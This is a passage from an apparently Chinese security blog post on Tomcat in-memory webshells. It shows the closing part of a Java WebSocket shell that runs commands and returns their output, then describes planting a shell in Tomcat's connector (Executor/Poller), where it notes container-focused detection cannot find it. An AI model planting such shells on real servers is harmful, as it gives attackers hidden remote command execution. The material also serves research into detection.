style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                </span>sb</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">append</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">((</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">char</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">i</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span>ips</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">close</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span>exec</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">waitFor</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">this</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">session</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getBasicRemote</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">().</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">sendText</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">sb</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">toString</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">());</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">catch</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Exception</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> e</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span>e</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">printStackTrace</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;AttributeTok&#39;;color: #7D9029;font-family: Consolas;">@Override</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">void</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">onOpen</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">Session session</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> EndpointConfig config</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">this</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">session</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> session</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">this</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">session</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">addMessageHandler</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">this</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="font-family:Calibri;">Executor内存马-&gt;Poller内存马</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="font-family:Cambria;">之前看fd回显修改socket文件的时候就在想能不能控制我们的socket或者fd文件，这样就解决了负载均衡的问题，这个问题在深蓝师傅将内存马注入位置从container迁移到前置的connector时就得到了解决</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="font-family:Cambria;">Tomcat分为两个大组件，一个连接器和一个容器，tomcat内存马检测就是检测容器内的内存马，无法检测连接器位置的内存马</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="font-family:宋体;">连接器 Connector</span></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="font-family:Cambria;">连接器进一步细化：</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="font-family:Cambria;">监听网络端口；</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="font-family:Cambria;">接受网络请求；</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="font-family:Cambria;">读取网络字节流；</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="font-family:Cambria;">根据应用层协议解析字节流，生成统一的 tomcat request 和 tomcat response 对象；</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="font-family:Cambria;">将 tomcat request 对象转成 servletRequest；</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="font-family:Cambria;">调用 servlet 容器，得到 servletResponse；</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="font-family:Cambria;">将 servletResponse 转成 tomcat response；</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="font-family:Cambria;">将 tomcat response 转成网络字节流；</span></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="font-family:Cambria;">将响应字节流写回给浏览器；</span></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="font-family:Cambria;"><img data-ratio="0.4375" style="width:553.8084106445312px;height:244.7899932861328px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=1ec7d370&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKGtxtic93vINXx3n0Z4n1Gm8Fb12xCFQYsx3daqXp9vRsNHytHkicUwDA%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="font-family:Cambria;"><img data-ratio="0.37142857142857144" style="width:553.8084106445312px;height:208.4499969482422px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=091694a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKnlQTJBYlvbp5rfoS1iaoOrh8CxpiaKyp5J7JUPOiaC9aia1siab63qzRTnw%2F640%3Fwx_fmt%3Dpng"/></span></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="font-family:Calibri;">ProtocolHandler</span></span></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:endpoint;"><span style="font-family:Calibri;">Endpoint</span></span></span></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:endpoint;"><span style="font-family:Cambria;">接口，抽象实现类是 AbstractEndpoint，具体子类在 NioEndpoint 和 Nio2Endpoint，其中两个重要组件：Acceptor 和 SocketProcessor。</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:endpoint;"><span style="font-family:Cambria;">Acceptor 用于监听 Socket 连接请求，SocketProcessor 用于处理收到的 Socket 请求，提交到线程池 Executor 处理。</span></span></span></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span 